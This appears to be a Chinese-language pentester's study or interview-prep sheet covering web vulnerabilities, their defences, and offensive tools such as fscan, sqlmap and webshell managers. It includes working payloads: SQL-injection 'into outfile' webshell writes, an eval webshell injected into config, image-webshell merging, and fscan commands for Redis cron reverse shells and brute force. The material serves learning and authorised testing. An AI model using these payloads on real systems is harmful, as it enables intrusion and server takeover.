Web安全、二进制、安全开发、移动终端、IoT/物联/工控安全
网络空间搜索平台、
移动端安全管控平台、
分布式web扫描平台、
网络威胁监测平台、
指纹识别系统、
自动化漏洞挖掘平台、
工业互联网安全监测平台、
漏洞知识库、代理资源池、字典权重库、内部培训系统、
FreeBuf、安全客、安全脉搏、t00ls、简书、WooYun、
桂林老兵
K8
80SEC
bugfor安全团队
http://www.bugfor.com/
三梦 threedr3am JAVA 嵌入式
护网
应急
等保
1.语言环境 python java go .net Ruby
2.数据库环境 mysql oracle sqlserver MongoDB redis postgresql
3. vps windows + linux
4. 中间件 nginx apache tomcat weblogic
5. 容器 docker k8s
linux大小写敏感,windows大小写不敏感
ping服务器,返还得TTL值不一样,windows一般在100以上,linux一般是100以下
TTL=128,这是WINNT/2K/XP。
TTL=32,这是WIN95/98/ME。
TTL=256,这是UNIX。
TTL=64,这是LINUX。
查看内核版本uname -a
Make执行
端口连接情况 netstat -ano
具体进程定位 tasklist | find “PID”
WIN+R
事件查看器分析日志 eventvw.msc
计划任务
windows的话用at和schtasks(虽然at已经弃用,但可以展示你懂的比较多)
linux的话使用at添加一次性,使用crontab添加周期性任务,
其中-e: 编辑计划任务 edit;-l:
查看计划任务 display;-u: 指定用户 user;-r: 删除计划任务 remove
nohup xxxxx &
python -m http.server xxxx
ssh user@host,host
1、
get是获取数据。
post是修改数据。
2、
get把请求的数据放在url上,
以?分割URL和传输数据,参数之间以&相连,所以get不太安全。
post把数据放在HTTP的包体内(requrest body)。
3、
get提交的数据最大是2k(限制实际上取决于浏览器)。
post理论上没有限制。
4、
GET产生一个TCP数据包,
浏览器会把http header和data一并发送出去,服务器响应200(返回数据)。
POST产生两个TCP数据包,
浏览器先发送header,服务器响应100 continue,
浏览器再发送data,服务器响应200 ok(返回数据)。
5、
GET请求会被浏览器主动缓存。
POST不会,除非手动设置。
1,存储的位置不同,
cookie:存放在客户端,
session:存放在服务端。
Session存储的数据比较安全
2,存储的数据类型不同
两者都是key-value的结构,但针对value的类型是有差异的
cookie:value只能是字符串类型,session:value是Object类型
3,存储的数据大小限制不同
cookie:大小受浏览器的限制,很多是4K的大小
session:理论上受当前内存的限制
base64 编码
同IP、同端口、同协议
SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,拼接字符串。
用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。
1、基于时间的盲注(查看延迟语句是否执行)
2、基于布尔的盲注(根据返回页面判断条件真假)
3、基于报错注入(页面会返回报错信息)
4、基于数字型注入(分为联合查询注入、堆查询注入、宽字节注入)
有无回显
无回显的称为盲注,包括时间盲注、布尔盲注、DNSlog注入
有
包括联合注入、报错注入、宽字节注入、堆叠注入、二次注入
1.updatexml()函数
2.extractvalue()函数
3.floor()函数
load_file database() concat() ascii()
用%0a代替,或者%20
大小写绕过,如果只是替换检测可以使用双写绕过,还可以用注释
符,例如s/**/elect等
都是一个字符一个字符的判断
1.使用预编译语句,绑定变量
2.过滤特殊符号
3.检查变量的数据类型和格式
4.使用白名单来规范化输入验证方法
5.黑白名单,其中白名单效果好
6.降低权限
1.获取数据库名
select SCHEMA_NAME from information_schema.SCHEMATA
2.获取表名
select TABLE_NAME from information_schema.TABLES
3.获取字段名
select * from information_schema.COLUMNS where TABLE_NAME="users" and TABLE_SCHEMA="security"
4.获取数据
select id,username,password from users
替换大小写
替换关键字
编码:
16进制编码、unicode编码
插入注释
特殊符号
缓冲区溢出。
判断是否有回显,有回显尝试联合查询,无回显查看是否有数据库报错信息,有报错信息可以尝试报错注入。无回显无报错信息,尝试盲注(时间和布尔)
序列化一个包含恶意代码的实例对象(通常是Runtime.exec来执行后台命令),
此时会得到对象的字节数据。
然后字节数据通过接口发送到服务端(被攻击的服务器)。
服务器在反序列化出对象的过程中(readObject方法里面)就会触发触发恶意代码执行,从而达到攻击的目的。
序列化就是把一个对象变成可以传输的字符串,
反序列化就是一个相反的过程。
两种,一种是550,一种是721,两者对应的版本不同
550主要是小于1.2.4,721是1.2.5-1.4.1这个版本
使用的方法也不同
shrio提供一个rememberme的一个选项,
选中后会把cookie保存到客户端,
保存的过程是,
反序列化→AES→base64。
serialize() 和unserialize() 两个函数
在php的反序列化当中存在着魔术函数,执行序列化操作时会自动执行这些函数.
几个魔法函数
construct()当一个对象创建时被调用
destruct()当一个对象销毁时被调用
toString()当一个对象被当作一个字符串使用
sleep() 在对象在被序列化之前运行
wakeup将在序列化之后立即被调用
服务器接收我们反序列化过的字符串、
并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,
就容易造成很严重的漏洞。
向有XSS漏洞的网站中输入恶意的HTML代码,
当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。
反射型(非持久型)XSS、
存储型(持久型)XSS、
DOM型XSS.
DOM XSS的代码并不需要服务器参与,
触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。
a标签、input、svg、video、audio、img标签,其中还可以使用style标签,使用方式是
html的话可以使用十进制、十六进制
JS代码可以使用3个八进制、两个十六进制、四个十六进制(Unicode编码)
使用JSfuck代替
1.使用XSS Filter,即跨站脚本过滤器,
用于分析用户提交的输入,并过滤可能存在的脚本攻击及恶意的THML或简单的HTML格式错误等。
2.输入过滤 校验、
输入是否仅仅包含合法的字符;
输入字符串是否超过最大长度限制;
输入如果为数字,数字是否在指定的范围;
输入是否符合特殊的格式要求,如E-mail地址、IP地址等
3. 对字符实体进行转义 输出编码
<(小于号) 转成 <
> (大于号)转成 >
& (和号)转成 &
" (双引号)转成 "
' (单引号)转成 '
4.黑名单和白名单
5.内容安全策略(csp):
CSP用于限制浏览器查看您的页面,以便它只能使用从受信任来源下载的资源。
6.使用 HTTP Only 来禁止 JavaScript 读取Cookie 值
7.浏览器与 Web 应用端采用相同的字符编码。
文件上传功能没有对上传的文件做合理严谨的过滤,导致用户可以利用此功能,上传能被服务端解析执行的文件,并通过此文件获得执行服务端命令的能力
1.站点没有任何防护,且上传点未做安全校验,则可直接上传WebShell文件。
2.站点存在简单防护:
前端校验文件后缀
可先传允许的文件类型,然后抓包修改文件后缀。
MIME校验时
抓包修改Conten-Type为允许MIME类型。
3.CMS等的通用任意文件上传漏洞:
绕过黑白名单、
绕过文件内容检测、
CMS的文件上传漏洞
1.数据溢出
2.数据阶段:%00截断
3.去掉双引号绕过
4.文件名后缀大小写绕过
1.应用漏洞
redis 、tomcat、服务器解析漏洞、编辑器、FTP
- 服务器解析漏洞
IIS 5.x/6.0解析漏洞
目录解析:x.asp/1.jpg
分号解析:x.asp;.jpg会被解析asp格式
其他文件名:cer,asa,cdx…
IIS 7.0/IIS 7.5/
畸形文件名解析:test.jpg/*.php
Nginx
畸形解析漏洞 :test.jpg/*.php(Nginx版本无关,只与配置环境有关)
<8.03空字节代码执行漏洞 :test.jpg%2500.php
Apache解析漏洞
Apache解析文件时是按照从右向左的方式,
test.php.aaa.sss,Apache无法解析.aaa.sss,
向左解析到.php,于是test.php.aaa.sss就被解析为php文件
- 编辑器
低版本的ewebeditor、fckeditor编辑器均有漏洞可以利用。
或绕过上传或结合解析漏洞。
2.常规漏洞 OWASP Top10
sql注入、上传、文件包含、命令执行、Struts2、代码反序列化
3.后台getshell
上传、数据库备份、配置插马
- 数据库备份拿shell
后台具有数据库备份功能,将webshell格式先修改为允许上传的文件格式如jpg,gif等。
然后找到上传后的文件路径,通过数据库备份,将文件备份为脚本格式。
- 上传绕过
本地js验证上传
服务器mime绕过
服务器文件头绕过
服务器 filepath上传
双文件上传
%00截断上传
上传其他脚本类型
修改允许上传类型 (容器允许 上传与网站源码不同类型的脚本格式)
添加白名单
- 网站配置插马
配置接口中最终的配置结果会写进网站配置文件,
这里通过源码的过滤规则进行闭合语句可以直接将shell写进配置文件从而getshell。
高危操作,如果闭合失败网站将全面崩溃,不建议生产环境下操作。
良精后台配置插马
网站名称/网站标题
#配置文件路径:../inc/config.asp
#插马语句:"%><%eval request("123")%><%'
windows
文件名后面加上.、_,
例如cmd.php. || cmd.php_
文件流::$DATA
linux
使用%00截断
上传文件类型的限制是在前端
增加上传类型就能突破限制
当服务器开启allow_url_include选项时,
就可以通过php的某些特性函数
include(),require()和include_once(),require_once()
利用url去动态包含文件,
此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
文件包含函数加载的参数没有经过过滤或者严格的定义,
可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
本地包含和远程包含
1.加载失败的处理方式及不同
include引入文件失败后会抛出一个警告继续执行
require失败后直接报错停止执行
2.
Include是有条件包含函数
include 'file.php'; //file.php不会被引入
Require是无条件包含函数
require 'file.php'; //file.php将会被引入
3.文件引用方式
Include有返回值
Require没有返回值
网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,而在这个期间,
攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,执行一些用户不想做的功能(比如是添加账号等)。
1.验证 HTTP Referer 字段
2.在请求地址中添加 token 并验证
3.在 HTTP 头中自定义属性并验证
4.再次输入密码
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,
导致可加载恶意外部文件,
造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
xxe漏洞触发的点往往是可以上传xml文件的位置,
没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
利用DTD可以进行内部引用、外部引用、引用公告DTD、引用参数DTD
可以造成DDOS攻击、文件读取、命令执行、SQL执行、内外网端口扫描、入侵内网站点;
1、使用开发语言提供的禁用外部实体的方法。
2、PHP:libxml_disable_entity_loader(true);
3、过滤用户提交的XML数据
4、XML 解析库在调用时严格禁止对外部实体的解析
<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
对外网、服务器所在内网、本地进行端口扫描,获取一些服务的版本信息;
攻击运行在内网或本地的应用程序
对内网 WEB 应用进行指纹识别,
通过访问默认文件实现(如:readme文件);
攻击内外网的 web 应用,主要是使用 GET 参数就可以实现的攻击
(如:Struts2,sqli);
下载内网资源(如:利用file协议读取本地文件等);
进行跳板;无视cdn;利用Redis未授权访问,HTTP CRLF注入实现getshell
1.限制协议:仅允许http和https请求。 不让使用伪协议
2.限制IP:避免应用被用来获取内网数据,攻击内网。
3.限制端口:限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4.过滤返回信息:验证远程服务器对请求的响应是比较简单的方法。
5.统一错误信息:免用户可以根据错误信息来判断远端服务器的端口状态。
有回显
直接通过页面加载出目标资产,
可先尝试加载http://www.baidu.com 页面确认有ssrf,如果成功的话,
可进一步将百度换成内网IP,通过fuzz扫描内网资产。
无回显
1.先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,
如果没有对应记录,也可能是服务器不出网造成的,
利用时可以通过请求响应时间判断内网资产是否存在,
然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性。
"... ..."
"... ..."
2.使用burp的collaborator来进行尝试
3.开启apache服务,
在存在ssrf处访问http://10.1.1.200(本机服务地址),查看服务器日志信息,
打开日志确定是否被访问,确定是否存在ssrf漏洞。
CRLF
是指cr回车、lf换行,
绕过方法可以使用url单、双编码,还可以将/r/n换为ascii
filter、file、ftp、http、https、php、data、glob、phar、expect。其中expect需要扩展
使用more、less、head、tail、tac、sort、uniq、file -f、vi/vim、nl/od
linux过滤空格可以使用${IPS}、${IPS}$
windows下可以使用%20(空格),%09(tab)
使用通配符例如fla*.php或者使用base64编码,还可以使用变量拼接,例如,a=fl;b=ag;$a$b。
XSS、CSRF
XSS不需要登录,CSRF需要用户登录信息
XSS攻击客户端,CSRF访问服务端
XSS劫持用户信息,CSRF伪造用户身份访问正常网站
CSRF、SSRF
(1)CSRF 是跨站请求伪造攻击,由客户端发起
(2)SSRF 是服务器端请求伪造,由服务器发起
(1)XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等
(2)CSRF 是跨站请求伪造攻击,XSS是实现 CSRF 的诸多手段中的一种,
是由于没有在关键操作执行时进行是否由用户自愿发起的确认。
(3)XXE 是 XML 外部实体注入攻击,
XML 中可以通过调用实体来请求本地或者远程内容,
和远程文件包含类似,会引发相关安全问题,例如敏感文件读取。
水平越权:
修改get或post参数来查看其他人的业务信息
垂直越权:
两个账号,一个普通,一个管理员,
抓包修改管理员的参数,权限类型不变,权限ID改变,普通账号获得与管理员相同的权限。
本地抓取数据包并对其内容加以分析就能获取到其他用户的用户凭证,
从而达到重置任意用户密码的目的。
找回密码功能模块通常会将用户凭证(通常为验证码或者链接)发送到用户注册时使用的手机号或者邮箱中,
只要用户不泄露自己的用户凭证就不会被攻击者利用。
但有些信息系统在密码找回功能的设计存在逻辑缺陷,
可能会将用于用户自证身份的信息的用户凭证以各种各样的方式返回到客户端。
防御:
1.不要将token验证之类的数据直接返回给用户数据包。
2.用户身份验证一定要在后端实现。
服务器端没有对客户端请求数据中的金额、数量等敏感信息作校验,攻击者通过bp抓包修改任意金额购买商品或者给账号充值等。
防御:
1.在请求数据中对涉及金额、数量等敏感信息进行加密,并在服务器端对其进行校验。
2.支付交易请求数据中加入token,防止重放攻击。
暴力破解:验证码具有一定的规律性,通过穷举或其它方式猜解出验证码。
验证码重复使用:当服务器端接受请求后,没有将上一次保存的session及时清空,将会导致验证码可重复使用。
验证码绕过:系统没有把验证码和用户放在一个请求里面校验,导致绕过了第一次验证码校验,就可以进行密码爆破。
比如说点赞或者签到地方,服务器是根据ip地址识别当前用户是否已点赞的,
在数据包里添加一行X-Forwarded-For来伪造http客户端ip,
使用bp抓包后发到intruder里遍历IP,设置payload去攻击,经过多次重放,可导致多次签到。
防御:
1.添加token值
2.添加时间戳。
集成 vscan、nuclei、ksubdomain、subfinder等,
充分自动化、智能化 并对这些集成的项目进行代码级别优化、参数优化,
个别模块,如 vscan filefuzz部分进行了重写
原则上不重复造轮子,除非存在bug、问题
跨平台:基于golang实现,轻量级、高度可定制、开源,支持Linux、windows、mac os等
集合渗透测试常用工具对目标进行一键扫描。
包含多个github优秀的开源工具,只需传入目标,即可启动收集的工具同时对目标进行扫描,
将结果统一格式化输出。
现有两个模块的工具:
collect(信息收集)与vulscan(漏洞扫描)
包含功能:目录扫描、子域名爆破、指纹识别、Cms识别、Waf识别、Js检测url、漏洞扫描
git clone https://github.com/W01fh4cker/Serein.git
cd Serein
pip3 install -r requirements.txt
python3 Serein.py
https://github.com/u21h2/nacs
目前共能主要有:
1、探活
2、服务扫描(常规&非常规端口)
3、poc探测(xray&nuclei格式)
4、数据库等弱口令爆破
5、内网常见漏洞利用
6、常见组件及常见HTTP请求头的log4j漏洞检测 image
7、非常规端口的服务扫描和利用(比如2222端口的ssh等等)
8、识别为公网IP时, 从fofa检索可用的资产作为扫描的补充(正在写)
9、自动识别简单web页面的输入框,用于弱口令爆破及log4j的检测(正在写)
1、快速使用
sudo ./nacs -h IP或IP段 -o result.txt
sudo ./nacs -hf IP或IP段的文件 -o result.txt
sudo ./nacs -u url(支持http、ssh、ftp、smb等) -o result.txt
sudo ./nacs -uf url文件 -o result.txt
2、 添加目标IP: 对10.15.196.135机器进行扫描, 手动添加密码, 并关闭反连平台的测试(即不测试log4j等)
sudo ./nacs -h 10.15.196.135 -passwordadd “xxx,xxx” -noreverse
缝合怪扫描
https://gitee.com/songboy/QingScan
https://github.com/TophantTechnology/ARL
一款基于YAML语法模板的开发的定制化快速漏洞扫描器
使用Go语言开发,具有很强的可配置性、可扩展性和易用性。
HTTP | DNS | TCP | 文件支持
完全可配置的模板
大规模扫描
基于带外的检测
轻松编写自己的模板
单兵攻击手武器库(离线)
github开源源码
漏扫(web+GUI)快速打点:
漏洞Poc集成、漏洞Poc搜索利用、FoFa资产搜索利用、批量资产漏洞利用的图形化工具
https://github.com/h4ckdepy/Un1kPoc/releases/tag/v2.0.1
生成后门程序、执行监听、上传并执行木马、提权。
设置路由网关,使用metasploit内置模块对目标服务器进行信息收集与探测
Ifconfig查看ip
Route查看路由
Arp查看arp列表
sysinfo查看目标系统信息;
Getwd查看meterpreter所在目录
Getpid查看meterpreter的进程号
run get_local_subnets 查看当前主机的网段与掩码。
Nmap 全端口扫描命令
https://github.com/gh0stkey/HaE
1)get 型,sqlmap -u "⽹址".
2) post 型,sqlmap -u "注⼊点⽹址” --data="post 的参数 "
3) cookie,X-Forwarded-For 等,
访问⽤ burpsuite 抓包,注⼊处⽤*号替换,放到⽂件⾥,然后sqlmap -r ⽂件地址
ctf CryptionTool改进
https://github.com/ffffffff0x/BerylEnigma
https://github.com/1n7erface/RequestTemplate
Regeorg地址:https://github.com/sensepost/reGeorg 不出网
https://github.com/w-digital-scanner/w9scan/
https://www.yaklang.io/docs/startup/
windows工具集-自带cmder
awvs
wvs
Xray
sublist3r,dirmap、dirsearch中国蚁剑,菜刀
https://github.com/rebeyond/Behinder
客户端:jre8+
服务端:.net 2.0+ php 5.3-7.4 java 6+
冰蝎,流量加密,难以被检测、webshell免杀性好、加密方式:AES加密
蚁剑,就和菜刀差不多,没啥区别
哥斯拉,他可以过一些waf,还有自带的插件
ActiveDirectory:活动目录
Antak-Webshell:在内存中执行PowerShell脚本,运行命令,并使用此Webshell下载和上传文件
Backdoors:一个后门,可以从第三方网站接收指令,并在内存中执行PowerShell脚本
Bypass:实施公告已知方法来绕过
Client:客户端
Escalationl:当需要权限时提取
Executionl:命令执行RCE
Gatherl信息收集
MITE:用于MITM攻击的本地HTTOS代理
Misc:脚本
Piovt:跳板
Prasadhak:对照VirusTotal数据库检查正在进行的进程的运行哈希
Scan:扫描
Shells:shell
Utility:杂项
Powerpreter:Meterpreter会话
taowu+Lodan+Ola
https://github.com/lintstar/LSTAR CS插件
https://github.com/lintstar/CS-ServerChan 微信通知
https://github.com/phink-team/Cobaltstrike-MS17-010
项目地址:https://github.com/shadow1ng/fscan/releases
常用命令:(默认使用全部模块)
fscan.exe -h 192.168.1.1/24 (C段扫描)
fscan.exe -h 192.168.1.1/16 (B段扫描)
fscan.exe -h 192.168.1.1/8 (A段扫描,192.x.x.1和192.x.x.254,方便快速查看网段信息 )
其他:
fscan.exe -h 192.168.1.1/24 -np -no -nopoc(跳过存活检测 、不保存文件、跳过web poc扫描)
fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
fscan.exe -hf ip.txt (以文件导入)
fscan.exe -u http://baidu.com -proxy 8080 (扫描单个url,并设置http代理 http://127.0.0.1:8080)
fscan.exe -h 192.168.1.1/24 -nobr -nopoc (不进行爆破,不扫Web poc,以减少流量)
fscan.exe -h 192.168.1.1/24 -pa 3389 (在原基础上,加入3389->rdp扫描)
Usage of fscan:
-br int
Brute threads (default 1)
-c string
exec command (ssh) //ssh命令执行
-cookie string
set poc cookie //设置cookie
-debug int
every time to LogErr (default 60) //多久没响应,就打印当前进度
-domain string
smb domain //smb爆破模块时,设置域名
-h string
IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
-hf string
host file, -hf ip.txt
-hn string
the hosts no scan,as: -hn 192.168.1.1/24 //扫描时,要跳过的ip: -hn 192.168.1.1/24
-m string
Select scan type ,as: -m ssh (default "all")
-no
not to save output log //扫描结果不保存到文件中
-nobr
not to Brute password //跳过sql、ftp、ssh等的密码爆破
-nopoc
not to scan web vul //跳过web poc扫描
-np
not to ping //跳过存活探测
-num int
poc rate (default 20) //web poc 发包速率
-o string
Outputfile (default "result.txt") // 扫描结果保存到哪
-p string
Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017")
-pa string
add port base DefaultPorts,-pa 3389 //新增需要扫描的端口,-pa 3389 (会在原有端口列表基础上,新增该端口)
-path string
fcgi、smb romote file path
-ping
using ping replace icmp
-pn string
the ports no scan,as: -pn 445 //扫描时要跳过的端口,as: -pn 445
-pocname string
use the pocs these contain pocname, -pocname weblogic //指定web poc的模糊名字, -pocname weblogic
-pocpath string
poc file path
-portf string
Port File
-proxy string
set poc proxy, -proxy http://127.0.0.1:8080 //设置代理, -proxy http://127.0.0.1:8080
-pwd string
password //指定爆破时的密码
-pwda string
add a password base DefaultPasses,-pwda password //在原有密码字典基础上,增加新密码
-pwdf string
password file //指定爆破时的密码文件
-rf string
redis file to write sshkey file (as: -rf id_rsa.pub) //指定redis写公钥用模块的文件 (as: -rf id_rsa.pub)
-rs string
redis shell to write cron file (as: -rs 192.168.1.1:6666) //redis计划任务反弹shell的ip端口 (as: -rs 192.168.1.1:6666)
-silent
silent scan // 静默扫描,适合cs扫描时不回显
-sshkey string
sshkey file (id_rsa) //ssh连接时,指定ssh私钥
-t int
Thread nums (default 600)
-time int
Set timeout (default 3) //端口扫描超时时间 (default 3)
-top int
show live len top (default 10)
-u string
url
-uf string
urlfile
-user string
username
-usera string
add a user base DefaultUsers,-usera user //在原有用户字典基础上,新增新用户
-userf string
username file
-wt int
Set web timeout (default 5)
通过集成crawlergo扫描和xray扫描、dirsearch、nmap、jsfinder、nikto等工具,
并使用-u \ -f \ -d 等参数进行扫描目标方式的管理,
最后利用docker安装完相关依赖进行封装,形成一款docker参数化扫描的工具。
Usage:
python3 recon.py -u url
python3 recon.py -f filename #-f 文件扫描
python3 recon.py -d domain #输入主域名,自动使用OneForAll遍历并扫描子域名
dirb、ffuf
灯塔系统,OneForAll-master
awvs、nessus、appscan、xray
Beef-XSS
域名whois 信息、旁站子域名、
注册者邮箱姓名电话(社工密码、关键词搜索、社交账号生成专用字典)、
IP/C段
服务器操作系统
web中间件、容器、数据库、架构探测-插件程序信息(js版本,cms类型)、
wappalyzer,CMS指纹识别(审计)、查看数据包的响应头
目录结构(后台)遍历多级目录,敏感文件泄漏(网站备份、说明文档、其他站点)
是否站库分离
google hack 进一步探测、
Nday漏洞
注入
上传下载包含读取
命令代码执行
弱口令喷射爆破(常见加密,编码)
XSS_CSRF
Cloud_hack
未授权_越权
XXE
文件目录遍历
反序列化
SSRF
敏感信息泄露
安卓小程序
社工钓鱼
对登陆界面进行抓包,查看发送包和响应包。
1.cookie属性安全漏洞。
查看setcookie是否有httponly。
HttpOnly是Cookie中一个属性,
用于防止客户端脚本通过document.cookie属性访问Cookie,
有助于保护Cookie不被跨站脚本攻击窃取或篡改。
2.响应头缺失漏洞。
X-Content-Type-Options、HTTP Content-Security-Policy、
单击劫持:X-Frame-Options
3.cors漏洞。
4.敏感信息明文传输漏洞
5.启用不安全的http方法。
在响应中查看allow头信息,在allow头中发现delete、put等选项。
6.账号密码进行爆破,测试是否有弱口令。
弱口令喷射爆破(常见加密,编码)
7.验证码相关漏洞
验证码暴力破解:验证码具有一定的规律性,通过穷举或其它方式猜解出验证码。
验证码重复使用:当服务器端接受请求后,没有将上一次保存的session及时清空,
将会导致验证码可重复使用。
验证码绕过:系统没有把验证码和用户放在一个请求里面校验,
导致绕过了第一次验证码校验,就可以进行密码爆破。
8.短信爆破。看是否可多次发送短信。
9.host头攻击漏洞。
修改host为baidu.com,发包看是响应包的url是否为baidu.com
挖洞过程
编号
影响
反序列化漏洞,通常所在端口7001/7002,
还存在SSRF和任意文件上传,
可以找到网上的exp验证,
war文件部署。
反序列化,访问/invoker/readonly 返回500,存在,还有war后文件部署漏洞。
开启PUT,访问127.0.0.1:8080改PUT,创建x.jsp,写入shell
war后文件部署,登入特定后台,上传包含jsp写的war文件。
xx.jpg/xx.php
后缀解析
文件解析漏洞
test.php.x1.x2.x3,Apache是从右往左判断后缀
例如1.php.aaa.zzz。
未知扩展名解析漏洞
配置错误导致的解析漏洞、目录遍历
版本小于等于0.8.37,利用方法和IIS 7.0/7.5一样,Fast-CGI关闭情况下也可利用。
畸形解析
空字节代码执行
空字节代码 xxx.jpg%00.php
配置错误导致的解析漏洞、目录遍历
目录穿越漏洞
127.0.0.1/file…/
1.gif.2.php会以php来解析文件
防护方法是配置文件中cgi_fix_pathinfo=0;
CRLF注入漏洞
目录解析、后缀解析
IIS6.0 远程代码执行漏洞 PUT漏洞
产生原因是没有关闭webDAV,从而可以进行PUT提交,上传任意文件
IIS6.0 解析漏洞
IIS启用.net 短文件名漏洞
默认Fast-CGI开启,直接在url中图片地址后面输入/1.php,会把正常图片当成php解析
test.jpg/1.php,这种格式都会以php解析。
/xx.asp/xx.jpg "xx.asp"是文件夹名
test.asp;.jpg可以直接当asp文件解析
新建一个test.asp文件夹,里面的文件都可以以asp解析
Apache HTTP Server的文件目录系统级别的配置文件的默认的名字
局部配置文件 指定的文件进行解析 配合上传
插入
SetHandler application/x-httpd-php
.jpg文件会被解析成.php文件。
迅雷下载,直接改后缀为.mdb
redis未授权 提权方式
端口通常是6379
默认没有配置密码,可以使用脚本进入,进入后可以使用CONFIG set语句进行写入
写入WebShell、通过SSH公钥、NC反弹、计划任务。
and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点
root权限
网站的绝对路径
配置文件File_priv的权限(为空或知道指定目录)
SQL语句写入
1.联合查询:通过SQL注入select into outfile实现。
1' union select 1,"" into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\cmd.php' --
2.盲注或报错:可以通过分隔符写入,利用lines terminated by语句进行拼接,拼接后面的webshell内容。
1' into outfile 'E:\\phpStudy\\PHPTutorial\\WWW\\DVWA-master\\321.php' lines terminated by '<?php phpinfo(); ?>'--
单引号爆路径
SQL注入一样在参数后面加上单引号。
http:``//localhost/news``.php?``id``=100'
错误参数值爆路径
http:``//localhost/news``.php?``id``=-1``http:``//localhost/news``.php?``id``=oSxMa
搜索引擎获取
Site:baidu.com warning``Site:baidu.com ``"fatal error"
测试文件获取路径
XAMPP或者phpstudy等软件搭建的话,会存在一些测试文件
/test``.php``/ceshi``.php``/info``.php``/phpinfo``.php``/php_info``.php``/1``.php``/l``.php``/x``.php
配置文件获取路径
注入点有文件读取权限,就可以通过load_file函数读取配置文件
Windows配置文件:
c:\windows\php.ini php配置文件``c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
Linux配置文件:
/etc/php``.ini php配置文件``/etc/httpd/conf``.d``/php``.conf``/etc/httpd/conf/httpd``.conf Apache配置文件``/usr/local/apache/conf/httpd``.conf``/usr/local/apache2/conf/httpd``.conf``/usr/local/apache/conf/extra/httpd-vhosts``.conf 虚拟目录配置文件
XAMPP配置文件:
Xampp文件路径``C:\xampp\htdocs` `httpd.com配置文件``C:\xampp\apache\conf``/httpd``.conf` `vhosts.conf虚拟主机``C:\xampp\apache\onf\extra\httpd-vhosts.conf
phpnow配置文件:
网站默认路径``D:\PHPnow-1.5.6\htdocs` `httpd.conf配置文件``D:\PHPnow-1.5.6\Apache-20\conf\httpd.conf` `vhosts.conf虚拟主机``D:\PHPnow-1.5.6\Apache-20\conf\extra\vhosts.conf
phpstudy配置文件:
网站默认路径``C:\phpstudy\www` `httpd.conf配置文件``C:\phpStudy\Apache\conf\httpd.conf` `vhosts.conf虚拟主机``C:\phpStudy\Apache\conf\extra\httpd-vhosts.conf
LAMPP配置文件:
网站默认路径``/opt/lampp/htdocs` `httpd.conf配置文件``/opt/lampp/etc/httpd``.conf` `vhosts.conf虚拟主机``/opt/lampp/etc/extra/httpd-vhosts``.conf
nginx文件类型错误解析爆路径
Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。
http:``//localhost/top``.jpg``/x``.php
phpmyadmin爆路径
/phpmyadmin/themes/darkblue_orange/layout``.inc.php
配合远程代码执行漏洞
eval()函数可控的话,直接传入phpinfo(),通过phpinfo页面中Document_Root参数获取网站绝对路径
5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名
5.0以下是多用户单操作,5.0以上是多用户多操做。
宽字符注入
hex编码绕过
通过添加新函数,对MYSQL的功能进行扩充,性质就象使用本地MYSQL函数如abs()或concat()。udf在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为‘.dll’,常用c语言编写。
利用了root 高权限,创建带有调用cmd的函数的udf.dll动态链接库
如果是 win 2000 的服务器,我们则需要将 udf.dll 文件导出到 C:\Winnt\udf.dll 下。
如果是 win2003 服务器,我们则要将 udf.dll 文件导出在 C:\Windows\udf.dll 下。
https://blog.csdn.net/qq_42636435/article/details/107124014
[java] view plain copy
系统检测到你有非法注入的行为。
已记录您的ip xx.xx.xx.xx
时间:2016:01-23
提交页面:test.asp?id=15
提交内容:and 1=1
直接提交一句话,这样网站就把你的一句话也记录进数据库文件了 这个时候可以尝试寻找网站的配置文件 直接上菜刀链接
浏览器中改编码
命令行方式
copy 1.jpg/b+1.php/a 2.jpg,
文件头加入GIF98a
打开图片文件属性,在详细信息哪里加入一句话
https://blog.csdn.net/weixin_46700042/article/details/109518759
靶机渗透测试(HA: Chakravyuh):
https://blog.csdn.net/weixin_46700042/article/details/109166766
靶机渗透测试(CyberSploit: 2):
https://cloud.tencent.com/developer/article/1926625
https://xz.aliyun.com/t/10817
